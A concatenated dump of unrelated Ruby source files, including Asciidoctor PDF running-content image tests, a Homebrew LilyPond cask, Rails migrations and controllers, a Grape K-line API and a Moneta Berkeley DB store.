title_style pdf = to_pdf input, pdf_theme: pdf_theme, enable_footer: true, analyze: true footer_text = (pdf.find_text font_color: 'AA0000')[0] (expect footer_text[:string]).to eql %([#{expected_title}]) end end end context 'Images' do it 'should align images based on column aligment', visual: true do pdf_theme = { footer_columns: '>50% <50%', footer_recto_left_content: %(image:#{fixture_file 'tux.png'}[fit=contain]), footer_recto_right_content: %(image:#{fixture_file 'tux.png'}[fit=contain]), } to_file = to_pdf_file 'body', 'running-content-image-alignment.pdf', pdf_theme: pdf_theme, enable_footer: true (expect to_file).to visually_match 'running-content-image-alignment.pdf' end it 'should allow image vertical alignment to be set independent of column vertical alignment' do image_positions = %w(top center middle bottom).each_with_object({}) do |image_vertical_align, accum| pdf_theme = { footer_columns: '<50% >50%', footer_padding: 0, footer_vertical_align: 'top', footer_image_vertical_align: image_vertical_align, footer_recto_left_content: %(image:#{fixture_file 'tux.png'}[pdfwidth=16]), footer_recto_right_content: '{page-number}', } pdf = to_pdf 'body', pdf_theme: pdf_theme, enable_footer: true, analyze: :image images = pdf.images (expect images).to have_size 1 accum[image_vertical_align] = images[0][:y] end (expect image_positions['top']).to be > image_positions['center'] (expect image_positions['center']).to eql image_positions['middle'] (expect image_positions['center']).to be > image_positions['bottom'] end it 'should skip image macro if target is remote and allow-uri-read attribute is not set' do with_local_webserver do |base_url| pdf_theme = { footer_font_color: '0000FF', footer_columns: '=100%', footer_recto_center_content: %(image:#{base_url}/tux.png[fit=contain]), } (expect do pdf = to_pdf 'body', analyze: true, pdf_theme: pdf_theme, enable_footer: true footer_text = pdf.find_unique_text font_color: '0000FF' (expect footer_text[:string]).to eql 'image:[fit=contain]' end).to log_message severity: :WARN, message: '~allow-uri-read is not enabled; cannot embed remote image' end end it 'should support remote image if allow-uri-read attribute is set', visual: true do with_local_webserver do |base_url| pdf_theme = { footer_columns: '>50% <50%', footer_recto_left_content: %(image:#{base_url}/tux.png[fit=contain]), footer_recto_right_content: %(image:#{base_url}/tux.png[fit=contain]), } doc = to_pdf 'body', analyze: :document, to_file: (to_file = output_file 'running-content-remote-image.pdf'), pdf_theme: pdf_theme, enable_footer: true, attribute_overrides: { 'allow-uri-read' => '' } (expect to_file).to visually_match 'running-content-image-alignment.pdf' # NOTE: we could assert no log messages instead, but that assumes the remove_tmp_files method is even called (expect doc.converter.instance_variable_get :@tmp_files).to be_empty end end it 'should warn and show alt text if image cannot be embedded' do pdf_theme = { footer_font_color: '0000FF', footer_columns: '=100%', footer_recto_center_content: %(image:#{fixture_file 'broken.svg'}[no worky]), } (expect do pdf = to_pdf 'body', analyze: true, pdf_theme: pdf_theme, enable_footer: true footer_text = pdf.find_unique_text font_color: '0000FF' (expect footer_text[:string]).to eql '[no worky]' end).to log_message severity: :WARN, message: %(~could not embed image in running content: #{fixture_file 'broken.svg'}; Missing end tag for 'rect') end it 'should support data URI image', visual: true do image_data = File.binread fixture_file 'tux.png' encoded_image_data = Base64.strict_encode64 image_data image_url = %(data:image/png;base64,#{encoded_image_data}) pdf_theme = { footer_columns: '>50% <50%', footer_recto_left_content: %(image:#{image_url}[fit=contain]), footer_recto_right_content: %(image:#{image_url}[fit=contain]), } to_file = to_pdf_file 'body', 'running-content-data-uri-image.pdf', pdf_theme: pdf_theme, enable_footer: true (expect to_file).to visually_match 'running-content-image-alignment.pdf' end it 'should scale image up to width when fit=contain', visual: true do %w(pdfwidth=99.76 fit=contain pdfwidth=0.5in,fit=contain pdfwidth=15in,fit=contain).each_with_index do |image_attrlist, idx| pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '>40% =20% <40%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'green-bar.svg'}[#{image_attrlist}]), header_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), %(running-content-image-contain-#{idx}.pdf), pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-fit.pdf' end end it 'should not overlap border when scaling image to fit content area', visual: true do pdf_theme = build_pdf_theme \ header_height: 36, header_border_width: 5, header_border_color: 'dddddd', header_columns: '>40% =20% <40%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'square.png'}[fit=contain]), header_recto_right_content: 'text', footer_height: 36, footer_padding: 0, footer_vertical_align: 'middle', footer_border_width: 5, footer_border_color: 'dddddd', footer_recto_columns: '>40% =20% <40%', footer_recto_left_content: 'text', footer_recto_center_content: %(image:#{fixture_file 'square.png'}[fit=contain]), footer_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), 'running-content-image-contain-border.pdf', enable_footer: true, pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-contain-border.pdf' end it 'should scale image down to width when fit=scale-down', visual: true do %w(pdfwidth=99.76 pdfwidth=15in,fit=scale-down).each_with_index do |image_attrlist, idx| pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '>40% =20% <40%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'green-bar.svg'}[#{image_attrlist}]), header_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), %(running-content-image-scale-down-width-#{idx}.pdf), pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-fit.pdf' end end it 'should scale image down to height when fit=scale-down', visual: true do %w(pdfwidth=30.60 fit=scale-down).each_with_index do |image_attrlist, idx| pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '>40% =20% <40%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'tux.png'}[#{image_attrlist}]), header_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), %(running-content-image-scale-down-height-#{idx}.pdf), pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-scale-down.pdf' end end it 'should scale image down to minimum dimension when fit=scale-down', visual: true do pdf_theme = build_pdf_theme \ header_height: 24, header_columns: '>25% =50% <25%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'square-viewbox-only.svg'}[fit=scale-down]), header_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), 'running-content-image-scale-down-min.pdf', pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-scale-down-min.pdf' end it 'should not modify image dimensions when fit=scale-down if image already fits', visual: true do %w(pdfwidth=0.5in pdfwidth=0.5in,fit=scale-down).each_with_index do |image_attrlist, idx| pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '>40% =20% <40%', header_recto_left_content: 'text', header_recto_center_content: %(image:#{fixture_file 'green-bar.svg'}[#{image_attrlist}]), header_recto_right_content: 'text' to_file = to_pdf_file %([.text-center]\ncontent), %(running-content-image-#{idx}.pdf), pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image.pdf' end end it 'should size image based on width attribute value if no other dimension attribute is specified', visual: true do pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '<25% =50% >25%', header_recto_center_content: %(image:#{fixture_file 'square-viewbox-only.svg'}[square,24]) to_file = to_pdf_file %([.text-center]\ncontent), 'running-content-image-width.pdf', pdf_theme: pdf_theme (expect to_file).to visually_match 'running-content-image-width.pdf' end it 'should use image format specified by format attribute' do source_file = (dest_file = fixture_file 'square') + '.svg' pdf_theme = { footer_height: 36, footer_padding: 0, footer_recto_columns: '<25% =50% >25%', footer_border_width: 0, footer_recto_left_content: nil, footer_recto_center_content: %(image:#{dest_file}[format=svg,fit=contain]), footer_recto_right_content: nil, } FileUtils.cp source_file, dest_file pdf = to_pdf 'content', enable_footer: true, pdf_theme: pdf_theme, analyze: :rect (expect pdf.rectangles).to have_size 1 rect = pdf.rectangles[0] (expect rect[:width]).to eql 200.0 (expect rect[:height]).to eql 200.0 ensure File.unlink dest_file end it 'should print running content on consecutive pages even when image in running content overruns bounds', visual: true do pdf_theme = { footer_recto_left_content: '{page-number}', footer_recto_right_content: %(image:#{fixture_file 'tux.png'}[pdfwidth=100px]), footer_verso_left_content: '{page-number}', footer_verso_right_content: %(image:#{fixture_file 'tux.png'}[pdfwidth=100px]), } to_file = to_pdf_file <<~'EOS', 'running-content-image-overrun.pdf', enable_footer: true, pdf_theme: pdf_theme = Article Title content <<< content EOS (expect to_file).to visually_match 'running-content-image-overrun.pdf' end it 'should resolve image target relative to themesdir', visual: true do [ { 'pdf-theme' => 'running-header', 'pdf-themesdir' => fixtures_dir, }, { 'pdf-theme' => 'fixtures/running-header-outside-fixtures-theme.yml', 'pdf-themesdir' => (File.dirname fixtures_dir), }, ].each_with_index do |attribute_overrides, idx| to_file = to_pdf_file <<~'EOS', %(running-content-image-from-themesdir-#{idx}.pdf), attribute_overrides: attribute_overrides [.text-center] content EOS (expect to_file).to visually_match 'running-content-image.pdf' end end it 'should resolve image target relative to theme file when themesdir is not set', visual: true do attribute_overrides = { 'pdf-theme' => (fixture_file 'running-header-theme.yml', relative: true) } to_file = to_pdf_file <<~'EOS', 'running-content-image-from-theme.pdf', attribute_overrides: attribute_overrides [.text-center] content EOS (expect to_file).to visually_match 'running-content-image.pdf' end it 'should resolve run-in image relative to themesdir', visual: true do to_file = to_pdf_file 'content', 'running-content-run-in-image.pdf', attribute_overrides: { 'pdf-theme' => (fixture_file 'running-header-run-in-image-theme.yml') } (expect to_file).to visually_match 'running-content-run-in-image.pdf' end it 'should set imagesdir attribute to value of themesdir in running content' do pdf_theme = { __dir__: fixtures_dir, footer_columns: '=100%', footer_padding: 0, footer_recto_center_content: 'image:tux.png[pdfwidth=16] found in {imagesdir}', footer_verso_center_content: 'image:tux.png[pdfwidth=16] found in {imagesdir}', } pdf = to_pdf 'body', pdf_theme: pdf_theme, enable_footer: true, analyze: :image images = pdf.images (expect images).to have_size 1 (expect images[0][:width]).to eql 16.0 pdf = to_pdf 'body', pdf_theme: pdf_theme, enable_footer: true, analyze: true footer_text = (pdf.text.find {|it| it[:y] < 50 }) (expect footer_text[:string]).to end_with %(found in #{fixtures_dir}) end it 'should not leave imagesdir attribute set after running content if originally unset' do pdf_theme = { __dir__: fixtures_dir, footer_columns: '=100%', footer_padding: 0, footer_recto_center_content: 'image:tux.png[pdfwidth=16] found in {imagesdir}', footer_verso_center_content: 'image:tux.png[pdfwidth=16] foudn in {imagesdir}', } doc = to_pdf 'body', pdf_theme: pdf_theme, enable_footer: true, to_file: (pdf_io = StringIO.new), attributes: {}, analyze: :document (expect doc.attr? 'imagesdir').to be_falsy pdf = PDF::Reader.new pdf_io (expect (pdf.page 1).text).to include fixtures_dir end it 'should warn and replace image with alt text if image is not found' do [true, false].each do |block| (expect do pdf_theme = build_pdf_theme \ header_height: 36, header_columns: '=100%', header_recto_center_content: %(image:#{block ? ':' : ''}no-such-image.png[alt text]) pdf = to_pdf 'content', pdf_theme: pdf_theme, analyze: true alt_text = pdf.find_text '[alt text]' (expect alt_text).to have_size 1 end).to log_message severity: :WARN, message: %r(image to embed not found or not readable.*data/themes/no-such-image\.png$) end end it 'should add link to raster image if link attribute is set' do theme_overrides = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_recto_center_content: 'image:tux.png[link=https://www.linuxfoundation.org/projects/linux/]', header_verso_center_content: 'image:tux.png[link=https://www.linuxfoundation.org/projects/linux/]', } pdf = to_pdf 'body', pdf_theme: theme_overrides annotations = get_annotations pdf, 1 (expect annotations).to have_size 1 link_annotation = annotations[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://www.linuxfoundation.org/projects/linux/' link_rect = link_annotation[:Rect] (expect (link_rect[3] - link_rect[1]).round 1).to eql 36.0 (expect (link_rect[2] - link_rect[0]).round 1).to eql 30.6 end it 'should add link to SVG image if link attribute is set' do theme_overrides = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_recto_center_content: 'image:square.svg[link=https://example.org]', header_verso_center_content: 'image:square.svg[link=https://example.org]', } pdf = to_pdf 'body', pdf_theme: theme_overrides annotations = get_annotations pdf, 1 (expect annotations).to have_size 1 link_annotation = annotations[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://example.org' link_rect = link_annotation[:Rect] (expect (link_rect[3] - link_rect[1]).round 1).to eql 36.0 (expect (link_rect[2] - link_rect[0]).round 1).to eql 36.0 end it 'should add link around image aligned to top' do pdf_theme = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_image_vertical_align: 'top', header_recto_center_content: 'image:tux.png[pdfwidth=20.4pt,link=https://www.linuxfoundation.org/projects/linux/]', header_verso_center_content: 'image:tux.png[pdfwidth=20.4pt,link=https://www.linuxfoundation.org/projects/linux/]', } pdf = to_pdf 'body', pdf_theme: pdf_theme annotations = get_annotations pdf, 1 (expect annotations).to have_size 1 link_annotation = annotations[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://www.linuxfoundation.org/projects/linux/' link_rect = link_annotation[:Rect] link_coords = { x: link_rect[0], y: link_rect[3], width: ((link_rect[2] - link_rect[0]).round 4), height: ((link_rect[3] - link_rect[1]).round 4) } pdf = to_pdf 'body', pdf_theme: pdf_theme, analyze: :image image = pdf.images[0] image_coords = { x: image[:x], y: image[:y], width: image[:width], height: image[:height] } (expect link_coords).to eql image_coords (expect image_coords[:y]).to eql PDF::Core::PageGeometry::SIZES['A4'][1] end it 'should add link around image aligned to bottom' do pdf_theme = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_image_vertical_align: 'bottom', header_recto_center_content: 'image:tux.png[pdfwidth=20.4pt,link=https://www.linuxfoundation.org/projects/linux/]', header_verso_center_content: 'image:tux.png[pdfwidth=20.4pt,link=https://www.linuxfoundation.org/projects/linux/]', } pdf = to_pdf 'body', pdf_theme: pdf_theme annotations = get_annotations pdf, 1 (expect annotations).to have_size 1 link_annotation = annotations[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://www.linuxfoundation.org/projects/linux/' link_rect = link_annotation[:Rect] link_coords = { x: link_rect[0], y: link_rect[3], width: ((link_rect[2] - link_rect[0]).round 4), height: ((link_rect[3] - link_rect[1]).round 4) } pdf = to_pdf 'body', pdf_theme: pdf_theme, analyze: :image image = pdf.images[0] image_coords = { x: image[:x], y: image[:y], width: image[:width], height: image[:height] } (expect link_coords).to eql image_coords end it 'should add link around image offset from top by specific value' do pdf_theme = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_image_vertical_align: 5, header_recto_center_content: 'image:square.png[pdfwidth=18pt,link=https://en.wikipedia.org/wiki/Square]', header_verso_center_content: 'image:square.png[pdfwidth=18pt,link=https://en.wikipedia.org/wiki/Square]', } pdf = to_pdf 'body', pdf_theme: pdf_theme annotations = get_annotations pdf, 1 (expect annotations).to have_size 1 link_annotation = annotations[0] (expect link_annotation[:Subtype]).to be :Link (expect link_annotation[:A][:URI]).to eql 'https://en.wikipedia.org/wiki/Square' link_rect = link_annotation[:Rect] link_coords = { x: link_rect[0], y: link_rect[3], width: ((link_rect[2] - link_rect[0]).round 4), height: ((link_rect[3] - link_rect[1]).round 4) } pdf = to_pdf 'body', pdf_theme: pdf_theme, analyze: :image image = pdf.images[0] image_coords = { x: image[:x], y: image[:y], width: image[:width], height: image[:height] } (expect link_coords).to eql image_coords (expect image_coords[:y]).to eql (PDF::Core::PageGeometry::SIZES['A4'][1] - 5) end it 'should replace unrecognized font family in SVG with SVG fallback font family specified in theme' do theme_overrides = { __dir__: fixtures_dir, header_height: 36, header_columns: '0% =100% 0%', header_recto_center_content: 'image:svg-with-unknown-font.svg[]', header_verso_center_content: 'image:svg-with-unknown-font.svg[]', svg_fallback_font_family: 'Times-Roman', } pdf = to_pdf 'body', pdf_theme: theme_overrides, analyze: true text = pdf.find_text 'This text uses the default SVG font.' (expect text).to have_size 1 (expect text[0][:font_name]).to eql 'Times-Roman' end it 'should embed local image referenced in SVG', visual: true do pdf_theme = { __dir__: fixtures_dir, footer_padding: 0, footer_recto_right_content: 'image:svg-with-local-image.svg[fit=contain]', footer_verso_left_content: 'image:svg-with-local-image.svg[fit=contain]', } to_file = to_pdf_file <<~'EOS', 'running-content-svg-with-local-image.pdf', enable_footer: true, pdf_theme: pdf_theme body EOS (expect to_file).to visually_match 'running-content-svg-with-local-image.pdf' end end end
33.782245
186
0.635482
4a1e56641b4872c7a6f22b8672edb0c06f5d1547
206
class AddDeletedAtOnCheckedItems < ActiveRecord::Migration def self.up add_column :checked_items, :deleted_at, :datetime end def self.down remove_column :checked_items, :deleted_at end end
20.6
58
0.76699
ed07165ef48f9987d34296f3c84d5fddfe846c8f
1,202
cask "lilypond" do version "2.22.1-1" sha256 "efdc9ecd5da2e13804258ad739063fad3b0f587aac9fe0a0f89314e784474f58" url "https://lilypond.org/downloads/binaries/darwin-x86/lilypond-#{version}.darwin-x86.tar.bz2" name "LilyPond" desc "Music engraving program" homepage "https://lilypond.org/" livecheck do url "https://lilypond.org/macos-x.html" strategy :page_match regex(%r{href=.*?/lilypond-(\d+(?:\.\d+)*-\d+)\.darwin-x86\.tar\.bz2}i) end depends_on macos: "<= :mojave" app "LilyPond.app" binaries = %w[ abc2ly convert-ly lilypond lilypond-book musicxml2ly ] binaries.each do |shimscript| binary "#{staged_path}/#{shimscript}.wrapper.sh", target: shimscript end preflight do binaries.each do |shimscript| # shim script (https://github.com/Homebrew/homebrew-cask/issues/18809) File.write "#{staged_path}/#{shimscript}.wrapper.sh", <<~EOS #!/bin/sh exec '#{appdir}/LilyPond.app/Contents/Resources/bin/#{shimscript}' "$@" EOS end end zap trash: [ "~/Library/Preferences/org.lilypond.lilypond.plist", "~/Library/Preferences/org.lilypond.lilypond.LSSharedFileList.plist", ] end
25.574468
97
0.671381
1a47bf3e20115fe0def9ad6c69a5cbb50e082dc0
244
class CreateDonations < ActiveRecord::Migration[6.0] def change create_table :donations do |t| t.belongs_to :donor, null: false, foreign_key: true t.float :amount t.date :entered_on t.timestamps end end end
20.333333
57
0.668033
612403ea8007cfe2a885dde0bf9c79789fce469d
2,406
# Encoding: utf-8 # Cloud Foundry Java Buildpack # Copyright 2013 the original author or authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 'java_buildpack/jre' require 'java_buildpack/jre/memory/memory_bucket' require 'java_buildpack/jre/memory/memory_size' module JavaBuildpack::Jre # This class represents a memory bucket for stack memory. This is treated differently to other memory buckets # which have absolute sizes since stack memory is specified in terms of the size of an individual stack with no # definition of how many stacks may exist. class StackMemoryBucket < MemoryBucket # Constructs a stack memory bucket. # # @param [Numeric] weighting a number between 0 and 1 corresponding to the proportion of total memory which this # memory bucket should consume by default # @param [Numeric, nil] size a user-specified size of the memory bucket in KB or nil if the user did not specify a # size # @param [Numeric] total_memory the total virtual memory size of the operating system process in KB def initialize(weighting, size, total_memory) super('stack', weighting, size, false, total_memory) @weighting = weighting @total_memory = total_memory size = DEFAULT_STACK_SIZE unless size end # Returns the excess memory in this memory bucket. # # @return [Numeric] the excess memory in KB def excess if @total_memory size ? @total_memory * @weighting * ((size - DEFAULT_STACK_SIZE) / DEFAULT_STACK_SIZE) : 0 else MemorySize::ZERO end end # Returns the default stack size. # # @return [MemorySize, nil] the default memory size or nil if there is no default def default_size DEFAULT_STACK_SIZE end private DEFAULT_STACK_SIZE = MemorySize.new('1024K') # 1 MB end end
35.910448
118
0.709476
ab0279023fc1a3c691c6bf678fd7a4f5d67e3a32
6,414
# frozen_string_literal: true class ProposalsController < ApplicationController before_action :authenticate_user!, except: [:show, :new, :create] load_resource :conference, find_by: :short_title load_resource :program, through: :conference, singleton: true load_and_authorize_resource :event, parent: false, through: :program # We authorize manually in these actions skip_authorize_resource :event, only: [:confirm, :restart, :withdraw] def index @event = @program.events.new @event.event_users.new(user: current_user, event_role: 'submitter') @events = current_user.proposals(@conference) end def show @event_schedule = @event.event_schedules.find_by(schedule_id: @program.selected_schedule_id) @speakers_ordered = @event.speakers_ordered end def new @user = User.new @url = conference_program_proposals_path(@conference.short_title) @languages = @program.languages_list end def edit @url = conference_program_proposal_path(@conference.short_title, params[:id]) @languages = @program.languages_list end def create @url = conference_program_proposals_path(@conference.short_title) # We allow proposal submission and sign up on same page. # If user is not signed in then first create new user and then sign them in unless current_user @user = User.new(user_params) authorize! :create, @user if @user.save sign_in(@user) else flash.now[:error] = "Could not save user: #{@user.errors.full_messages.join(', ')}" render action: 'new' return end end # User which creates the proposal is both `submitter` and `speaker` of proposal # by default. @event.speakers = [current_user] @event.submitter = current_user track = Track.find_by(id: params[:event][:track_id]) if track && !track.cfp_active flash.now[:error] = 'You have selected a track that doesn\'t accept proposals' render action: 'new' return end if @event.save ahoy.track 'Event submission', title: 'New submission' redirect_to conference_program_proposals_path(@conference.short_title), notice: 'Proposal was successfully submitted.' else flash.now[:error] = "Could not submit proposal: #{@event.errors.full_messages.join(', ')}" render action: 'new' end end def update @url = conference_program_proposal_path(@conference.short_title, params[:id]) track = Track.find_by(id: params[:event][:track_id]) if track && !track.cfp_active flash.now[:error] = 'You have selected a track that doesn\'t accept proposals' render action: 'edit' return end if @event.update(event_params) redirect_to conference_program_proposals_path(conference_id: @conference.short_title), notice: 'Proposal was successfully updated.' else flash.now[:error] = "Could not update proposal: #{@event.errors.full_messages.join(', ')}" render action: 'edit' end end def withdraw authorize! :update, @event @url = conference_program_proposal_path(@conference.short_title, params[:id]) begin @event.withdraw selected_schedule = @event.program.selected_schedule event_schedule = @event.event_schedules.find_by(schedule: selected_schedule) if selected_schedule Rails.logger.debug "schedule: #{selected_schedule.inspect} and event_schedule #{event_schedule.inspect}" if selected_schedule && event_schedule event_schedule.enabled = false event_schedule.save else @event.event_schedules.destroy_all end rescue Transitions::InvalidTransition redirect_to :back, error: "Event can't be withdrawn" return end if @event.save redirect_to conference_program_proposals_path(conference_id: @conference.short_title), notice: 'Proposal was successfully withdrawn.' else redirect_to conference_program_proposals_path(conference_id: @conference.short_title), error: "Could not withdraw proposal: #{@event.errors.full_messages.join(', ')}" end end def confirm authorize! :update, @event @url = conference_program_proposal_path(@conference.short_title, params[:id]) begin @event.confirm rescue Transitions::InvalidTransition redirect_to :back, error: "Event can't be confirmed" return end if @event.save if @conference.user_registered?(current_user) redirect_to conference_program_proposals_path(@conference.short_title), notice: 'The proposal was confirmed.' else redirect_to new_conference_conference_registration_path(conference_id: @conference.short_title), alert: 'The proposal was confirmed. Please register to attend the conference.' end else redirect_to conference_program_proposals_path(conference_id: @conference.short_title), error: "Could not confirm proposal: #{@event.errors.full_messages.join(', ')}" end end def restart authorize! :update, @event @url = conference_program_proposal_path(@conference.short_title, params[:id]) begin @event.restart rescue Transitions::InvalidTransition redirect_to conference_program_proposals_path(conference_id: @conference.short_title), error: "The proposal can't be re-submitted." return end if @event.save redirect_to conference_program_proposals_path(conference_id: @conference.short_title), notice: "The proposal was re-submitted. The #{@conference.short_title} organizers will review it again." else redirect_to conference_program_proposals_path(conference_id: @conference.short_title), error: "Could not re-submit proposal: #{@event.errors.full_messages.join(', ')}" end end def registrations; end private def event_params params.require(:event).permit(:event_type_id, :track_id, :difficulty_level_id, :title, :subtitle, :abstract, :description, :require_registration, :max_attendees, :language, speaker_ids: [] ) end def user_params params.require(:user).permit(:email, :password, :password_confirmation, :username) end end
35.436464
124
0.686155
bb5e5d55648dcfea27df82ae443910379f31f53f
327
FactoryGirl.define do factory :sys_user, class: SS::User do name "sys_user" email "[email protected]" in_password "pass" #sys_role_ids end factory :sys_user_sample, class: SS::User do name { unique_id.to_s } email { "user#{unique_id}@example.jp" } in_password "pass" #sys_role_ids end end
20.4375
46
0.666667
f708d0565f0655df673d7a30b03a93b5c56b6a19
1,210
module APIv2 class K < Grape::API helpers ::APIv2::NamedParams desc 'Get OHLC(k line) of specific market.' params do use :market optional :limit, type: Integer, default: 30, values: 1..100, desc: "Limit the number of returned data points, default to 30." optional :period, type: Integer, default: 1, values: [1, 5, 15, 30, 60, 120, 240, 360, 720, 1440, 4320, 10080], desc: "Time period of K line, default to 1. You can choose between 1, 5, 15, 30, 60, 120, 240, 360, 720, 1440, 4320, 10080" optional :timestamp, type: Integer, desc: "An integer represents the seconds elapsed since Unix epoch. If set, only k-line data after that time will be returned." end get "/k" do key = "peatio:#{params[:market]}:k:#{params[:period]}" if params[:timestamp] ts = JSON.parse(redis.lindex(key, 0)).first offset = (params[:timestamp] - ts) / 60 / params[:period] offset = 0 if offset < 0 redis.lrange(key, offset, offset + params[:limit] - 1).map{|str| JSON.parse(str)} else length = redis.llen(key) redis.lrange(key, length - params[:limit], -1).map{|str| JSON.parse(str)} end end end end
43.214286
244
0.623967
03c46e96ec2802da8fb328e7d9bf1420218ed0ac
1,731
begin require 'bdb' rescue LoadError puts "You need bdb gem to use Bdb moneta store" exit end module Moneta class Berkeley def initialize(options={}) file = options[:file] @db = Bdb::Db.new() @db.open(nil, file, nil, Bdb::Db::BTREE, Bdb::DB_CREATE, 0) unless options[:skip_expires] @expiration = Moneta::Berkeley.new(:file => "#{file}_expiration", :skip_expires => true ) self.extend(Expires) # # specific Berkeley expiration fonctionality. Berkeley DB can't store Time object, only String. # self.extend(BerkeleyExpires) end end module BerkeleyExpires # # This specific extension convert Time into integer and then into string. # def check_expired(key) if @expiration[key] && Time.now > Time.at(@expiration[key].to_i) @expiration.delete(key) self.delete(key) end end private def update_options(key, options) if options[:expires_in] @expiration[key] = (Time.now + options[:expires_in]).to_i.to_s end end end module Implementation def key?(key) nil | self[key] end alias has_key? key? def []=(key,value) @db[key] = value end def store(key, value, options={}) @db[key] = value end def [](key) @db[key] end def fetch(key, default) self[key] || default end def delete(key) value = self[key] @db.del(nil,key,0) if value value end def clear @db.truncate(nil) end end include Implementation end end
20.855422
103
0.552282
ab8a4dd0aa17c3ec984a45f3d73aacf8fc81485e
3,708
class Gitlab::Client # Defines methods related to milestones. # @see https://docs.gitlab.com/ce/api/milestones.html module Milestones # Gets a list of project's milestones. # # @example # Gitlab.milestones(5) # # @param [Integer, String] project The ID or name of a project. # @param [Hash] options A customizable set of options. # @option options [Integer] :page The page number. # @option options [Integer] :per_page The number of results per page. # @return [Array<Gitlab::ObjectifiedHash>] def milestones(project, options={}) get("/projects/#{url_encode project}/milestones", query: options) end # Gets a single milestone. # # @example # Gitlab.milestone(5, 36) # # @param [Integer, String] project The ID or name of a project. # @param [Integer] id The ID of a milestone. # @return [Gitlab::ObjectifiedHash] def milestone(project, id) get("/projects/#{url_encode project}/milestones/#{id}") end # Gets the issues of a given milestone. # # @example # Gitlab.milestone_issues(5, 2) # # @param [Integer, String] project The ID or name of a project. # @param [Integer, String] milestone The ID of a milestone. # @option options [Integer] :page The page number. # @option options [Integer] :per_page The number of results per page. # @return [Array<Gitlab::ObjectifiedHash>] def milestone_issues(project, milestone, options={}) get("/projects/#{url_encode project}/milestones/#{milestone}/issues", query: options) end # Gets the merge_requests of a given milestone. # # @example # Gitlab.milestone_merge_requests(5, 2) # # @param [Integer, String] project The ID or name of a project. # @param [Integer, String] milestone The ID of a milestone. # @option options [Integer] :page The page number. # @option options [Integer] :per_page The number of results per page. # @return [Array<Gitlab::ObjectifiedHash>] def milestone_merge_requests(project, milestone, options={}) get("/projects/#{url_encode project}/milestones/#{milestone}/merge_requests", query: options) end # Creates a new milestone. # # @example # Gitlab.create_milestone(5, 'v1.0') # # @param [Integer, String] project The ID or name of a project. # @param [String] title The title of a milestone. # @param [Hash] options A customizable set of options. # @option options [String] :description The description of a milestone. # @option options [String] :due_date The due date of a milestone. # @return [Gitlab::ObjectifiedHash] Information about created milestone. def create_milestone(project, title, options={}) body = { title: title }.merge(options) post("/projects/#{url_encode project}/milestones", body: body) end # Updates a milestone. # # @example # Gitlab.edit_milestone(5, 2, { state_event: 'activate' }) # # @param [Integer, String] project The ID or name of a project. # @param [Integer] id The ID of a milestone. # @param [Hash] options A customizable set of options. # @option options [String] :title The title of a milestone. # @option options [String] :description The description of a milestone. # @option options [String] :due_date The due date of a milestone. # @option options [String] :state_event The state of a milestone ('close' or 'activate'). # @return [Gitlab::ObjectifiedHash] Information about updated milestone. def edit_milestone(project, id, options={}) put("/projects/#{url_encode project}/milestones/#{id}", body: options) end end end
39.870968
99
0.66397
919c76ab4c71f5a0af80a4cb9338fad7f22df512
741
# frozen_string_literal: true module JiraConnect class SyncFeatureFlagsWorker # rubocop:disable Scalability/IdempotentWorker include ApplicationWorker sidekiq_options retry: 3 queue_namespace :jira_connect feature_category :integrations data_consistency :delayed, feature_flag: :load_balancing_for_jira_connect_workers tags :exclude_from_kubernetes worker_has_external_dependencies! def perform(feature_flag_id, sequence_id) feature_flag = ::Operations::FeatureFlag.find_by_id(feature_flag_id) return unless feature_flag ::JiraConnect::SyncService .new(feature_flag.project) .execute(feature_flags: [feature_flag], update_sequence_id: sequence_id) end end end
27.444444
85
0.775978
79e83af82f0ba96aebec893bda53ba0f423113a6
1,449
